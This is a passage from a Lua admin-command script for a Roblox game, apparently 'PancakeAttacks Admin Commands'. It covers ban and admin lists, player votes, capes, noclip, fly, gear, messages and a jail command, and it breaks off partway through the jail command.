  4220. local b=Instance.new('TextBox',cmf.Parent)
  4221. b.Size=UDim2.new(0,130,0,20)
  4222. b.Position=UDim2.new(0,10,0,5)
  4223. b.BackgroundColor3=set['SecondaryColor']
  4224. b.BackgroundTransparency=set['Transparency']
  4225. b.TextColor3=set['TextColor']
  4226. b.TextStrokeTransparency=0
  4227. b.Text=''
  4228. b.ZIndex=15
  4229. b.Font='ArialBold'
  4230. b.TextScaled=true
  4231. b.TextWrapped=true
  4232. b.Changed:connect(function(o)
  4233. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  4234. cmf:ClearAllChildren()
  4235. playerlist(b.Text)
  4236. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  4237. cmf:ClearAllChildren()
  4238. playerlist('all')
  4239. end
  4240. end)
  4241. local refresh = Instance.new("TextButton", cmf.Parent)
  4242. refresh.Style = "Custom"
  4243. refresh.Size = UDim2.new(0,20,0,20)
  4244. refresh.Position = UDim2.new(1,-50,0,5)
  4245. refresh.ZIndex = 10
  4246. refresh.Font = "ArialBold"
  4247. refresh.FontSize = "Size18"
  4248. refresh.Text = "R"
  4249. refresh.BackgroundColor3=set['PrimaryColor']
  4250. refresh.BorderColor3=set['SecondaryColor']
  4251. refresh.TextColor3 = set['SecondaryColor']
  4252. refresh.BackgroundTransparency=set['Transparency']
  4253. refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() playerlist('all') end)
  4254. playerlist('all')
  4255. end
  4256.  
  4257. if msg:lower() == "version" then set.Message("PancakeAttacks Admin Commands", tostring(set.version), true, {plr}) end
  4258.  
  4259. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  4260. if plr.PlayerGui:findFirstChild(GuiName.."ADMINSGUI") then return end
  4261. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."ADMINSGUI" scr.Parent = plr.PlayerGui
  4262. top.Text='Admin List'
  4263. for i, v in pairs(set['Owners']) do if v:lower() ~= set.nfs then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4264. for i, v in pairs(set['Admins']) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4265. for i, v in pairs(set['TempAdmins']) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4266. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  4267. end
  4268.  
  4269. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  4270. if plr.PlayerGui:findFirstChild(GuiName.."BANSGUI") then return end
  4271. local scr, cmf, ent, num, top = set.ScrollGui()
  4272. scr.Name = GuiName.."BANSGUI" scr.Parent = plr.PlayerGui
  4273. top.Text='Ban List'
  4274. local function banlistdisplay(p)
  4275. num=0
  4276. for i,v in pairs(set['BanList']) do
  4277. if (v:lower():find(p) or p=='all') then
  4278. local cl = ent:Clone()
  4279. cl.Parent = cmf
  4280. cl.Text = num.." | "..v
  4281. cl.Position = UDim2.new(0,0,0,num*20)
  4282. cl.Size=UDim2.new(0,370,0,20)
  4283. cl.TextScaled=true
  4284. cl.FontSize='Size24'
  4285. cl.Font='ArialBold'
  4286. num = num +1
  4287. end
  4288. end
  4289. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  4290. end
  4291. banlistdisplay('all')
  4292. local b=Instance.new('TextBox',cmf.Parent)
  4293. b.Size=UDim2.new(0,130,0,20)
  4294. b.Position=UDim2.new(0,10,0,5)
  4295. b.BackgroundColor3=set['SecondaryColor']
  4296. b.BackgroundTransparency=set['Transparency']
  4297. b.TextColor3=set['TextColor']
  4298. b.TextStrokeTransparency=0
  4299. b.Text=''
  4300. b.ZIndex=15
  4301. b.Font='ArialBold'
  4302. b.TextScaled=true
  4303. b.TextWrapped=true
  4304. b.Changed:connect(function(o)
  4305. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  4306. cmf:ClearAllChildren()
  4307. banlistdisplay(b.Text)
  4308. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  4309. cmf:ClearAllChildren()
  4310. banlistdisplay('all')
  4311. end
  4312. end)
  4313. end
  4314.  
  4315. if msg:lower():sub(1,5)=='vote ' then
  4316. if set['FilteringEnabled'] then return end
  4317. coroutine.wrap(function()
  4318. local chk1 = msg:lower():sub(6):find(" ") + 5
  4319. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  4320. local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1))
  4321. local Time=tonumber(msg:sub(chk1+1,chk2-1))
  4322. local question=msg:sub(chk2+1)
  4323. if Time > 60 then Time = 60 end
  4324. local num=1
  4325. local Yes=0
  4326. local No=0
  4327. local novote={}
  4328. local voten=num
  4329. for i,player in pairs(plrz) do
  4330. coroutine.wrap(function()
  4331. table.insert(novote, player)
  4332. local Voted=false
  4333. local gui=Instance.new('ScreenGui',player.PlayerGui)
  4334. gui.Name=GuiName..'VOTE'
  4335. local frame=Instance.new('Frame',gui)
  4336. local yes=Instance.new('TextButton',frame)
  4337. local no=Instance.new('TextButton',frame)
  4338. local q=Instance.new('TextLabel',frame)
  4339. local t=Instance.new('TextLabel',frame)
  4340. frame.Position=UDim2.new(0,350,0,50)
  4341. frame.Size=UDim2.new(0,300,0,200)
  4342. frame.BackgroundTransparency=set['Transparency']
  4343. frame.BackgroundColor3=set['PrimaryColor']
  4344. frame.Draggable=true
  4345. frame.Active=true
  4346. yes.Position=UDim2.new(0,20,0,130)
  4347. yes.Size=UDim2.new(0,100,0,50)
  4348. yes.BackgroundColor3=Color3.new(0,85,0)
  4349. yes.Font='ArialBold'
  4350. yes.FontSize='Size14'
  4351. yes.Text='Yes'
  4352. yes.TextColor3=Color3.new(1,1,1)
  4353. yes.TextScaled=true
  4354. yes.TextWrapped=true
  4355. no.Position=UDim2.new(0,180,0,130)
  4356. no.Size=UDim2.new(0,100,0,50)
  4357. no.BackgroundColor3=Color3.new(170,0,0)
  4358. no.Font='ArialBold'
  4359. no.FontSize='Size14'
  4360. no.Text='No'
  4361. no.TextColor3=Color3.new(1,1,1)
  4362. no.TextScaled=true
  4363. no.TextWrapped=true
  4364. q.Position=UDim2.new(0,10,0,25)
  4365. q.Size=UDim2.new(0,280,0,90)
  4366. q.BackgroundTransparency=1
  4367. q.Text=question
  4368. q.Font='ArialBold'
  4369. q.TextColor3=set['TextColor']
  4370. q.TextWrapped=true
  4371. q.TextScaled=true
  4372. t.Position=UDim2.new(0,10,0,10)
  4373. t.Size=UDim2.new(0,280,0,10)
  4374. t.BackgroundTransparency=1
  4375. t.TextColor3=set['TextColor']
  4376. t.TextWrapped=false
  4377. t.TextScaled=false
  4378. t.Font='ArialBold'
  4379. t.FontSize='Size14'
  4380. t.Text='Time Left: '..Time..' second(s)'
  4381. yes.MouseButton1Click:connect(function()
  4382. Yes=Yes+1
  4383. Voted=true
  4384. gui:Destroy()
  4385. for k,m in pairs(novote) do
  4386. if m.userId==player.userId then
  4387. table.remove(novote, k)
  4388. end
  4389. end
  4390. end)
  4391. no.MouseButton1Click:connect(function()
  4392. No=No+1
  4393. Voted=true
  4394. gui:Destroy()
  4395. for k,m in pairs(novote) do
  4396. if m.userId==player.userId then
  4397. table.remove(novote, k)
  4398. end
  4399. end
  4400. end)
  4401. for i = 0,Time do
  4402. if voten == num then t.Text = "Time left: "..Time-i.." second(s)"
  4403. else t.Text = "Voting Over!" wait(1) gui:Destroy() break
  4404. end wait(1) end if gui ~= nil then gui:Destroy() end end)() end
  4405. wait(Time+1)
  4406. coroutine.wrap(function()
  4407. if plr.PlayerGui then
  4408. local gui=Instance.new('ScreenGui',plr.PlayerGui)
  4409. gui.Name=GuiName..'RESULTS'
  4410. local frame=Instance.new('Frame',gui)
  4411. frame.BackgroundColor3=set['PrimaryColor']
  4412. frame.BackgroundTransparency=set['Transparency']
  4413. frame.Position=UDim2.new(0,400,0,50)
  4414. frame.Size=UDim2.new(0,200,0,100)
  4415. frame.Draggable=true
  4416. frame.Active=true
  4417. local nyes=Instance.new('TextLabel',frame)
  4418. nyes.BackgroundTransparency=1
  4419. nyes.Position=UDim2.new(0,10,0,50)
  4420. nyes.Size=UDim2.new(0,70,0,10)
  4421. nyes.Font='ArialBold'
  4422. nyes.FontSize='Size14'
  4423. nyes.TextColor3=Color3.new(0,1,0)
  4424. nyes.Text='Number of Yes:'
  4425. nyes.TextScaled=true
  4426. nyes.TextWrapped=true
  4427. local nno=Instance.new('TextLabel',frame)
  4428. nno.BackgroundTransparency=1
  4429. nno.Position=UDim2.new(0,120,0,50)
  4430. nno.Size=UDim2.new(0,70,0,10)
  4431. nno.Font='ArialBold'
  4432. nno.FontSize='Size14'
  4433. nno.TextColor3=Color3.new(1,0,0)
  4434. nno.Text='Number of No:'
  4435. nno.TextScaled=true
  4436. nno.TextWrapped=true
  4437. local qr=Instance.new('TextLabel',frame)
  4438. qr.Position=UDim2.new(0,5,0,5)
  4439. qr.Size=UDim2.new(0,190,0,35)
  4440. qr.BackgroundTransparency=1
  4441. qr.Font='ArialBold'
  4442. qr.Text='Results For: '..question
  4443. qr.TextColor3=Color3.new(1,1,1)
  4444. qr.TextScaled=true
  4445. qr.TextWrapped=true
  4446. local yes=Instance.new('TextLabel',frame)
  4447. yes.BackgroundTransparency=1
  4448. yes.Position=UDim2.new(0,10,0,70)
  4449. yes.Size=UDim2.new(0,70,0,20)
  4450. yes.Font='ArialBold'
  4451. yes.FontSize='Size14'
  4452. yes.Text=Yes.." | "..set.Round(Yes/#plrz*100).."%"
  4453. yes.TextColor3=Color3.new(0,1,0)
  4454. yes.TextWrapped=false
  4455. local none=Instance.new('TextLabel',frame)
  4456. none.BackgroundTransparency=1
  4457. none.Font='ArialBold'
  4458. none.FontSize='Size14'
  4459. none.TextColor3=Color3.new(70/255,70/255,70/255)
  4460. none.Text=#novote.." | "..set.Round(#novote/#plrz*100).."%"
  4461. none.Position=UDim2.new(0,65,0,70)
  4462. none.Size=UDim2.new(0,70,0,20)
  4463. none.TextWrapped=false
  4464. local no=Instance.new('TextLabel',frame)
  4465. no.BackgroundTransparency=1
  4466. no.Position=UDim2.new(0,120,0,70)
  4467. no.Size=UDim2.new(0,70,0,20)
  4468. no.Font='ArialBold'
  4469. no.FontSize='Size14'
  4470. no.Text=No.." | "..set.Round(No/#plrz*100).."%"
  4471. no.TextColor3=Color3.new(1,0,0)
  4472. no.TextWrapped=false
  4473. wait(10)
  4474. gui:remove()
  4475. end
  4476. end)()
  4477. end)()
  4478. end
  4479.  
  4480. if msg:lower() == "tools" or msg:lower() == "toollist" then
  4481. if plr.PlayerGui:findFirstChild(GuiName.."TOOLSGUI") then return end
  4482. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."TOOLSGUI" scr.Parent = plr.PlayerGui
  4483. top.Text='Tool List'
  4484. for i, v in pairs(game:service('Lighting'):children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4485. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  4486. end
  4487.  
  4488. if msg:lower():sub(1,4) == "ins " then
  4489. coroutine.resume(coroutine.create(function()
  4490. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  4491. if obj and #obj:children() >= 1 and plr.Character then
  4492. table.insert(set.objects, obj) for i,v in pairs(obj:children()) do table.insert(set.objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  4493. end
  4494. end))
  4495. end
  4496.  
  4497. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "cleargame" then
  4498. for i,v in pairs(set.objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  4499. for i,v in pairs(set.cameras) do
  4500. if v then
  4501. table.remove(set.cameras,i)
  4502. v:Destroy()
  4503. end
  4504. end
  4505. set.RemoveMessage()
  4506. set.objects = {}
  4507. for i,v in pairs(game:service('Workspace'):children()) do
  4508. if v:IsA('Message') or v:IsA('Hint') then v:Destroy() end
  4509. if v.Name:match('Pancake Probe (.*)') then
  4510. v:Destroy()
  4511. end
  4512. end
  4513. end
  4514.  
  4515. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" or msg:lower() == "resetlighting" then
  4516. set.lighttask=false
  4517. wait(0.5)
  4518. game:service('Lighting').Ambient = origsettings.abt
  4519. game:service('Lighting').GlobalShadows = origsettings.gs
  4520. game:service('Lighting').ShadowColor = origsettings.sc
  4521. game:service('Lighting').Outlines = origsettings.ol
  4522. game:service('Lighting').OutdoorAmbient = origsettings.oabt
  4523. game:service('Lighting').Brightness = origsettings.brt
  4524. game:service('Lighting').TimeOfDay = origsettings.time
  4525. game:service('Lighting').FogColor = origsettings.fclr
  4526. game:service('Lighting').FogEnd = origsettings.fe
  4527. game:service('Lighting').FogStart = origsettings.fs
  4528. end
  4529.  
  4530. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" or msg:lower()=="cgui" or msg:lower()=="cg" then
  4531. coroutine.resume(coroutine.create(function()
  4532. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == GuiName.."CMDBAR" then v:Destroy() end end
  4533. set.CmdBar(plr)
  4534. end))
  4535. end
  4536.  
  4537. if msg:lower():sub(1,10) == "countdown " then
  4538. local num = math.min(tonumber(msg:sub(11)),120)
  4539. for i = num, 1, -1 do
  4540. coroutine.resume(coroutine.create(function() set.Message("Countdown", i, false, game.Players:children(), 1) end))
  4541. wait(1)
  4542. end
  4543. end
  4544.  
  4545. if msg:lower():sub(1,3) == "tm " then
  4546. local chk1 = msg:lower():sub(4):find(" ") + 3
  4547. local num = tonumber(msg:sub(4,chk1-1))
  4548. set.Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  4549. end
  4550.  
  4551. if msg:lower():sub(1,2) == "m " then
  4552. set.Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  4553. end
  4554.  
  4555. if msg:lower():sub(1,2) == "h " then
  4556. set.Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  4557. end
  4558.  
  4559. if msg:lower():sub(1,5) == "info " then
  4560. local plz = set.GetPlayers(plr, msg:lower():sub(6))
  4561. for i,v in pairs(plz) do
  4562. coroutine.wrap(function()
  4563. set.GetPlayerInfo(v,{plr},'Player Info')
  4564. end)()
  4565. end
  4566. end
  4567.  
  4568. if msg:lower():sub(1,11) == "resetstats " then
  4569. local plrz = set.GetPlayers(plr, msg:lower():sub(12))
  4570. for i, v in pairs(plrz) do
  4571. coroutine.resume(coroutine.create(function()
  4572. if v and v:findFirstChild("leaderstats") then
  4573. for a, q in pairs(v.leaderstats:children()) do
  4574. if q:IsA("IntValue") then q.Value = 0 end
  4575. end
  4576. end
  4577. end))
  4578. end
  4579. end
  4580.  
  4581. if msg:lower():sub(1,5) == "gear " then
  4582. local chk1 = msg:lower():sub(6):find(" ") + 5
  4583. local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1))
  4584. for i, v in pairs(plrz) do
  4585. coroutine.resume(coroutine.create(function()
  4586. if v and v:findFirstChild("Backpack") then
  4587. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  4588. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  4589. obj:Destroy()
  4590. end
  4591. end))
  4592. end
  4593. end
  4594.  
  4595. if msg:lower():sub(1,5) == "sell " then
  4596. local chk1 = msg:lower():sub(6):find(" ") + 5
  4597. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  4598. local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1))
  4599. for i, v in pairs(plrz) do
  4600. coroutine.resume(coroutine.create(function()
  4601. local type = msg:lower():sub(chk2+1)
  4602. local t
  4603. if type:lower()=='tix' or type:lower()=='tickets' or type:lower()=='t' then
  4604. t=Enum.CurrencyType.Tix
  4605. elseif type:lower()=='robux' or type:lower()=='rb' or type:lower()=='r' then
  4606. t=Enum.CurrencyType.Robux
  4607. else
  4608. t=Enum.CurrencyType.Default
  4609. end
  4610. if v then
  4611. game:GetService("MarketplaceService"):PromptPurchase(v,tonumber(msg:sub(chk1+1,chk2-1)),false,t)
  4612. end
  4613. end))
  4614. end
  4615. end
  4616.  
  4617. if msg:lower():sub(1,4) == "hat " then
  4618. local chk1 = msg:lower():sub(5):find(" ") + 4
  4619. local plrz = set.GetPlayers(plr, msg:lower():sub(5, chk1-1))
  4620. for i, v in pairs(plrz) do
  4621. coroutine.resume(coroutine.create(function()
  4622. if v and v.Character then
  4623. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  4624. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  4625. obj:Destroy()
  4626. end
  4627. end))
  4628. end
  4629. end
  4630.  
  4631. if msg:lower() == "capelist" or msg:lower() == "capes" then
  4632. if plr.PlayerGui:findFirstChild(GuiName.."CAPELISTGUI") then return end
  4633. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CAPELISTGUI" scr.Parent = plr.PlayerGui
  4634. top.Text='Cape List'
  4635. local list = {"script","new yeller","pastel blue","dusty rose","cga brown","random","shiny","gold","pancake","epix","superman","swag","donor","starbucks","gomodern","admin","host","cohost","trainer","giovannis"}
  4636. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4637. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  4638. end
  4639.  
  4640. if msg:lower():sub(1,5) == "cape " then
  4641. local chk1 = msg:lower():sub(6):find(" ")
  4642. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  4643. local str = "torso.BrickColor p.Material='Fabric'"
  4644. if chk1 then chk1 = chk1 + 5 plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  4645. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[") p.Material='Fabric']]
  4646. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller") p.Material='Fabric']] end
  4647. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue") p.Material='Fabric']] end
  4648. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose") p.Material='Fabric']] end
  4649. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown") p.Material='Fabric']] end
  4650. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random() p.Material='Fabric']] end
  4651. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white")p.Material='Fabric' p.Reflectance = 1]] end
  4652. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  4653. if msg:sub(chk1+1):lower() == "pancake" then teststr = [[BrickColor.new("Really black") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  4654. if msg:sub(chk1+1):lower() == "script" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=151359194"]] end
  4655. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Institutional white") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  4656. if msg:sub(chk1+1):lower() == "epix" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149442745"]] end
  4657. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  4658. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  4659. if msg:sub(chk1+1):lower() == "donor" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149009184"]] end
  4660. if msg:sub(chk1+1):lower() == "starbucks" then teststr = [[BrickColor.new("Black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0.5 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149248066"]] end
  4661. if msg:sub(chk1+1):lower() == "gomodern" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149438175"]] end
  4662. if msg:sub(chk1+1):lower() == "admin" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149092195"]] end
  4663. if msg:sub(chk1+1):lower() == "giovannis" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149808729"]] end
  4664. if msg:sub(chk1+1):lower() == "godofdonuts" then teststr = [[BrickColor.new("Institutional white") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=151034443"]] end
  4665. if msg:sub(chk1+1):lower() == "host" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152299000"]] end
  4666. if msg:sub(chk1+1):lower() == "cohost" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152298950"]] end
  4667. if msg:sub(chk1+1):lower() == "trainer" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152298976"]] end
  4668. if BrickColor.new(teststr) ~= nil then str = teststr end
  4669. end
  4670. for i, v in pairs(plrz) do
  4671. coroutine.resume(coroutine.create(function()
  4672. if v and v.Character and v.Character:findFirstChild("Torso") then
  4673. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  4674. set.LoadOnClient(v,[[local plr = game.Players.LocalPlayer
  4675. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  4676. local torso = plr.Character.Torso
  4677. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  4678. p.Transparency=0.001
  4679. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  4680. p.Size = Vector3.new(.2,.2,.2)
  4681. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  4682. local motor1 = Instance.new("Motor", p)
  4683. motor1.Part0 = p
  4684. motor1.Part1 = torso
  4685. motor1.MaxVelocity = .01
  4686. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  4687. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  4688. local wave = false
  4689. repeat wait(1/44)
  4690. local ang = 0.1
  4691. local oldmag = torso.Velocity.magnitude
  4692. local mv = .002
  4693. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  4694. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  4695. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  4696. motor1.DesiredAngle = -ang
  4697. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  4698. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  4699. if torso.Velocity.magnitude < .1 then wait(.1) end
  4700. until not p or p.Parent ~= torso.Parent
  4701. script:Destroy()
  4702. ]],false,'CapeScript')
  4703. end
  4704. end))
  4705. end
  4706. end
  4707.  
  4708. if msg:lower():sub(1,7) == "uncape " then
  4709. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  4710. for i, v in pairs(plrz) do
  4711. coroutine.resume(coroutine.create(function()
  4712. if v and v:findFirstChild("PlayerGui") and v.Character then
  4713. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  4714. end
  4715. end))
  4716. end
  4717. end
  4718.  
  4719. if msg:lower():sub(1,7) == "noclip " then
  4720. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  4721. for i, v in pairs(plrz) do
  4722. coroutine.resume(coroutine.create(function()
  4723. if v then
  4724. set.LoadOnClient(v,[[
  4725. game:GetService("RunService").Stepped:connect(function()
  4726. pcall(function()
  4727. game.Players.LocalPlayer.Character.Torso.CanCollide = false
  4728. game.Players.LocalPlayer.Character.Head.CanCollide = false
  4729. game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
  4730. if game.Players.LocalPlayer.Character:FindFirstChild('Head') then
  4731. for i,v in pairs(game.Player.LocalPlayer.Character.Head:children()) do
  4732. if v and v:IsA('Part') then v.CanCollide=false end
  4733. end
  4734. end
  4735. end)
  4736. end)]],false,'NoClip')
  4737. end
  4738. end))
  4739. end
  4740. end
  4741.  
  4742. if msg:lower():sub(1,10) == "flynoclip " then
  4743. local plrz = set.GetPlayers(plr, msg:lower():sub(11))
  4744. for i, v in pairs(plrz) do
  4745. coroutine.resume(coroutine.create(function()
  4746. if v then
  4747. set.LoadOnClient(v,[[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]],false,'NoClip')
  4748. end
  4749. end))
  4750. end
  4751. end
  4752.  
  4753. if msg:lower():sub(1,5) == "clip " then
  4754. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  4755. for i, v in pairs(plrz) do
  4756. coroutine.resume(coroutine.create(function()
  4757. if v and v:FindFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4758. for a, q in pairs(v.PlayerGui:children()) do if q.Name == GuiName.."NoClip" then q:Destroy() end end
  4759. v.Character.Torso.Anchored = false
  4760. wait(.1) v.Character.Humanoid.PlatformStand = false
  4761. end
  4762. end))
  4763. end
  4764. end
  4765.  
  4766. if msg:lower():sub(1,5) == "jail " then
  4767. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  4768. for i, v in pairs(plrz) do
  4769. coroutine.resume(coroutine.create(function()
  4770. if v and v.Character and v.Character:findFirstChild("Torso") then
  4771. local vname = v.Name
  4772. local tools=Instance.new('Model')
  4773. tools.Parent=game:service'Lighting'
  4774. tools.Name=v.Name..' ~ Epix Jail Tools'
  4775. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  4776. local mod = Instance.new("Model", game.Workspace) mod.Name = v.Name .. " Epix Jail" table.insert(set.objects, mod)
  4777. local value = Instance.new('StringValue',mod) value.Name='Player' value.Value=v.Name
  4778. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
